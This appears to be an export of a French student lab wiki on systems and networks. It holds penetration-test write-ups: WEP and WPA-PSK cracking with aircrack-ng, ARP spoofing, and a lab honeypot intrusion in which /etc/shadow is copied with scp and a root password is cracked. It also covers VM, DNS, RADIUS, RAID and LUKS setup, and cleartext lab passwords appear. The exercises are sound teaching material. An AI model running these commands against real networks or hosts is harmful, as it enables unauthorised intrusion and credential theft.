 www.belle-rose.site. IN DNSKEY 257 3 5 AwEAAdj7i1QbWFS5EPthytgpKDLbqx8PWbtArgcXL4zZFFPeWBfD1yVa IP0XjVfzi+4/MaPU778QUy1g7edNar8355/YCWMRQrzIJZN9adpBHBMj XWT2tR9ilLSoB1TmIy6ZC/DZmlR8XShUixG0YDkXFJ7eVyZNpKVAnKKx   /jp5foFzs1yCiIBRmE00dQvikn81aGdLOSXOY2UdbxC2rE6VXrs1jYeL 29hD+R/HDJEXf7m+qPSlYVyayKXu3WW8RRMPYp7IqcYCUuM78OKC2qkv //82v8yLyB3ppixJpI7U7OR0K89f4sPASER8CW6bwOE5eee+YWw0BLS5 cu8JukZXbNs=&lt;br /&gt;
&lt;br /&gt;
(on copie que la partie chiffrée, pas le record DNSKEY)&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
Après un peu d'attente, on obtient la clef suivante :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND! [ 59906999 ]&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.&lt;br /&gt;
&lt;br /&gt;
On fait :&lt;br /&gt;
&lt;br /&gt;
 $ echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):&lt;br /&gt;
&lt;br /&gt;
 $ arpspoof -t 172.26.145.61 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Sur honey.plil.info : &lt;br /&gt;
&lt;br /&gt;
1. injection SQL&lt;br /&gt;
&lt;br /&gt;
2. connexion en tant qu'admin&lt;br /&gt;
&lt;br /&gt;
3. telechargement du fichier &amp;quot;config-db.php&amp;quot; (On remarque que il existe une BDD phpmyadmin) et &amp;quot;database.php&amp;quot; (ce fichier semble lui ne pas nous apporter d'informations)&lt;br /&gt;
&lt;br /&gt;
4. honey.plil.info/phpmyadmin -&amp;gt; connexion avec les logins trouvés dans le fichier &amp;quot;config-db.php&amp;quot; (phpmyadmin et gencovid19). On trouve alors une table &amp;quot;pma_users&amp;quot; indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).&lt;br /&gt;
&lt;br /&gt;
5. en essayant le mdp &amp;quot;gencovid19&amp;quot; avec ces identifiants sur phpmyadmin : on peut se connecter en tant que &amp;quot;root&amp;quot; sur la BDD et on trouve le mdp de rex dans la bdd &amp;quot;test&amp;quot; et table &amp;quot;users&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
6. connexion en ssh sur rex@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
7. comme indication : &amp;quot;le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets&amp;quot;. Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo =&amp;gt; bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :&lt;br /&gt;
&lt;br /&gt;
 $ crunch 4 4 abcdefghijklmnopqrstuvwxyz &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Et on double la taille des mots :&lt;br /&gt;
&lt;br /&gt;
 $ sed -i 's/\(.*\)/\1\1/' dico.txt&lt;br /&gt;
&lt;br /&gt;
On copie ensuite les fichiers &amp;quot;/etc/passwd&amp;quot; et &amp;quot;/etc/shadow&amp;quot; de rex@honey.plil.info sur notre zabeth. &lt;br /&gt;
&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/passwd .&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/shadow .&lt;br /&gt;
&lt;br /&gt;
On utilise alors l'utilitaire &amp;quot;shadow&amp;quot; pour obtenir un fichier contenant le mot de passe haché de root :&lt;br /&gt;
&lt;br /&gt;
 $ unshadow passwd shadow | head -1 &amp;gt; honey&lt;br /&gt;
&lt;br /&gt;
Puis on utilise &amp;quot;John the Ripper&amp;quot; pour cracker le mot de passe :&lt;br /&gt;
&lt;br /&gt;
 $ john -w:dico.txt honey&lt;br /&gt;
&lt;br /&gt;
Après quelques minutes, on peut afficher le mot de passe trouvé :&lt;br /&gt;
&lt;br /&gt;
 $ john --show honey&lt;br /&gt;
 root:fortfort:0:0:root:/root:/bin/bash&lt;br /&gt;
 1 password hash cracked, 0 left&lt;br /&gt;
&lt;br /&gt;
On trouve le mot de passe de root@honey.plil.info qui est &amp;quot;fortfort&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Réalisations =&lt;br /&gt;
&lt;br /&gt;
== Sécurisation des données (RAID 5) ==&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
== Chiffrement des données ==&lt;br /&gt;
&lt;br /&gt;
On branche la clé USB sur le petit PC bleu, et on lance &amp;lt;code&amp;gt;lsblk&amp;lt;/code&amp;gt; et on trouve :&lt;br /&gt;
&lt;br /&gt;
 NAME     MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 sda        8:0    1   7,2G  0 disk &lt;br /&gt;
&lt;br /&gt;
Donc on peut formater la clef qui contient déjà quelque chose dessus :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/sda&lt;br /&gt;
&lt;br /&gt;
Avec &amp;lt;code&amp;gt;cryptsetup&amp;lt;/code&amp;gt; on peut initialiser la clef et lui donner un mdp :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sda&lt;br /&gt;
&lt;br /&gt;
On crée une partition chiffrée sur la clé :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sda data&lt;br /&gt;
&lt;br /&gt;
Et on formate :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/data&lt;br /&gt;
&lt;br /&gt;
On monte cette partition pour lui permettre de contenir des fichiers :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/data-usb&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/data /mnt/data-usb&lt;br /&gt;
&lt;br /&gt;
On y ajoute donc un fichier de test :&lt;br /&gt;
&lt;br /&gt;
 $ touch /mnt/data-usb/boujour.txt&lt;br /&gt;
&lt;br /&gt;
Puis on démonte et on ferme le volume chiffré&lt;br /&gt;
&lt;br /&gt;
 $ umont /mnt/data-usb&lt;br /&gt;
 $ cryptsetup luksClose data&lt;br /&gt;
&lt;br /&gt;
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.&lt;/div&gt;</summary>
		<author><name>Bjacquot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57748</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57748"/>
				<updated>2022-01-10T16:45:59Z</updated>
		
		<summary type="html">&lt;p&gt;Bjacquot : /* DNSSEC */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSh ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
https://www.belle-rose.site/ IZOK&lt;br /&gt;
&lt;br /&gt;
== DNSSEC ==&lt;br /&gt;
&lt;br /&gt;
On suit les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
1. On ajoute l’option &amp;lt;code&amp;gt;dnssec-enable yes;&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;named.conf.options&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. On crée un répertoire &amp;lt;code&amp;gt;www.belle-rose.site.dnssec&amp;lt;/code&amp;gt; pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
3. On crée la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE www.belle-rose.site&lt;br /&gt;
&lt;br /&gt;
4. On crée la clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE www.belle-rose.site &lt;br /&gt;
&lt;br /&gt;
